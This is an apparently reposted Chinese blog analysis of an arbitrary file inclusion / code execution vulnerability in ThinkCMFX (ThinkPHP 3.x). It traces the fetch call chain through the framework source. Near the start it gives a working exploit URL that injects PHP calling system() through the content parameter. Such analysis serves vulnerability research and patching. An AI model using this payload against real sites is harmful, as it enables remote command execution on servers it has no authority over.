PHP:ThinkCMFX任意文件包含漏洞

前言:最近爆出来的漏洞,ThinkCmfX版本应该是通杀的,基于3.X Thinkphp开发的

代码下载地址:https://gitee.com/thinkcmf/ThinkCMFX/releases

我们就拿这个payload来进行分析

http://127.0.0.1/index.php?a=fetch&content=<?php system(‘ping xxxxxx’);?>

我们要知道tp框架的特性,可以通过这种形式的路由方式进行访问相应的功能点,例如通过g\m\a参数指定分组\控制器\方法

我们可以跟进父类的fetch的方法中查看

发现还调用了父类的fetch方法return parent::fetch($templateFile,$content,$prefix);,那我们可以继续来到AppframeController,但是发现里面没有fetch那么就肯定是继承来自Controller的控制器了,继续跟进

发现调用了view类的fetch方法继续更,这里的view类是Controller构造函数中$this->view = Think::instance('Think\View');

view类中的fetch方法如下:

    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {  //首先判断content有无内容
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            // 走的是这里
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); // 生成一个数组赋值给$params
            Hook::listen('view_parse',$params); //这个是关键
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;  //这里进行模板文件的输出
    }

可以看注释,我们的content肯定是有内容的,那么进行的就是第二个if判断,经过调式走的是第二个判断

来到这里Hook::listen('view_parse',$params); //这个是关键,第一个参数传的是view_parse,我们先看下listen这个函数的说明

    /**
     * 监听标签的插件
     * @param string $tag 标签名称
     * @param mixed $params 传入参数
     * @return void
     */
    static public function listen($tag, &$params=NULL) { // 此时$tag = view_parse
        if(isset(self::$tags[$tag])) {
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) { //循环遍历
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);  // 这里进行执行
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 则中断插件执行
                    return ;
                }
            }
            if(APP_DEBUG) { // 记录行为的执行日志
                trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }

我们全局搜索,view_parse或者echo $name输出调试发现调用的类为ParseTemplateBehavior

'view_parse'    =>  array(
            'Behavior\ParseTemplateBehavior', // 模板解析 支持PHP、内置模板引擎和第三方模板引擎
        ),

在exe函数中 如果类名存在的话会进行实例化 并且调用$tag = view_parse,调用view_parse方法

        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $class = $name;
            $tag    =   'run';  //此时的$tag = run 所以下方调用的是run方法
        }else{
            $class   =  "plugins\\{$name}\\{$name}Plugin";
        }
        if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
            $addon   = new $class();
            return $addon->$tag($params); //相当于 return $addon->run($params);
        }

我们再看下ParseTemplateBehavior的类中的run方法

    // 行为扩展的执行入口必须是run
    public function run(&$_data){
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix'])) 
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
                //载入模版缓存文件
                Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']); 
                //C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']地址为
                //D:\QMDownload\PHPTutorial\www\thinkcmfx2\data\runtime\Cache\Portal
            }else{
                $tpl = Think::instance('Think\\Template'); //走的是这里
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class   =  'Think\\Template\\Driver\\'.ucwords($engine);                
            }            
            if(class_exists($class)) {
                $tpl   =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
        }
    }

load方法为关键,这里我们进入看下storage类中的load方法,但是发现不存在,但是有个魔术方法存在__callstatic,它的解释为当创建一个静态方法以调用该类中不存在的一个方法时使用此函数。与__call()方法相同,接受方法名和数组作为参数

转自freebuf的流程图如下:

参考文章:https://www.freebuf.com/vuls/218105.html

猜你喜欢

转载自www.cnblogs.com/zpchcbd/p/11949672.html
今日推荐